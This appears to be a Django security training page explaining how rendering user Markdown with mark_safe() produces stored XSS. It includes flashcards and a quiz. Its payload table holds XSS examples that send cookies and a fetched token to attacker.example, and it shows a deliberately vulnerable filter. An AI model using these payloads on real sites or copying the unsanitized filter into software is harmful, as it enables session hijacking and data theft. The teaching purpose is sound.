Rendering Untrusted Markdown with mark_safe Causes XSS

Django AppSec

Converting user-supplied Markdown to HTML and wrapping the result in mark_safe() is a stored Cross-Site Scripting (XSS) vulnerability. Two behaviors combine: Markdown lets raw HTML and arbitrary link schemes through, and mark_safe() switches off the escaping that would otherwise neutralize them.

@register.filter
@stringfilter
def render_markdown(value):
    md = markdown.Markdown(extensions=["fenced_code", "codehilite"])
    return mark_safe(md.convert(value))  # vulnerable: no sanitization

Markdown is not a sanitizer

Inline HTML has been part of Markdown's syntax since the original specification, and Python-Markdown copies any HTML in the input to the output unchanged. Link syntax ([text](url)) also accepts any URI scheme, including javascript:. Python-Markdown deprecated its old safe_mode in 3.0 (the option is now ignored) and recommends passing untrusted content through a separate HTML sanitizer instead.

Three payload shapes all come out of md.convert() as executable HTML:

Payload Example
Inline script Bonjour! <script>fetch('https://attacker.example/?d=' + document.cookie)</script>
Event handler <img src="x" onerror="fetch('/accounts/get-token/').then(r => r.text()).then(t => fetch('https://attacker.example/?t=' + btoa(t)))">
Script URL [Voir notre menu](javascript:alert(document.domain))

mark_safe turns off auto-escaping

Django templates escape <, >, ", ' and & by default, so <script> would render as harmless text. mark_safe() marks the string as already safe, and the template engine inserts it verbatim.

Impact

The script runs in the victim's browser under the site's origin, with the victim's session. When staff view a stored message (for example a contact-form message rendered in a CRM), the script can:

  • read any page the staff member can access (customer PII, a token endpoint) and send it to an external server;
  • submit state-changing POST requests, taking the CSRF token from the csrftoken cookie or a csrfmiddlewaretoken input in the DOM;
  • replace the page with a fake login prompt to harvest credentials.

The fix is to sanitize the HTML after conversion and before mark_safe(): see Sanitizing Markdown Output with an HTML Allowlist.

References

Review cards

Flashcard Why does `mark_safe(markdown.convert(value))` on user input cause XSS?

Markdown passes raw HTML and any link scheme through to its output, and mark_safe() tells Django not to escape it, so the payload reaches the page as live HTML.

Flashcard What can a stored XSS payload do to a staff member who views it?

Anything they can do: it runs inside their session, so it can read pages they have access to and send the data out, or submit POSTs with the CSRF token from the page.

Quiz Where does sanitization go when a Django filter renders user Markdown?
  • On the Markdown source, before conversion
  • On the HTML, after conversion and before mark_safe()
  • On the string returned by mark_safe()
  • Nowhere: SESSION_COOKIE_HTTPONLY is enough

Markdown creates HTML during conversion, and once mark_safe() has run the template inserts the string as is.

Flashcard Why fix an unsafe Markdown filter that no template uses yet?

It becomes exploitable the moment someone applies it to user text, so the fix belongs in the filter, not in each call site.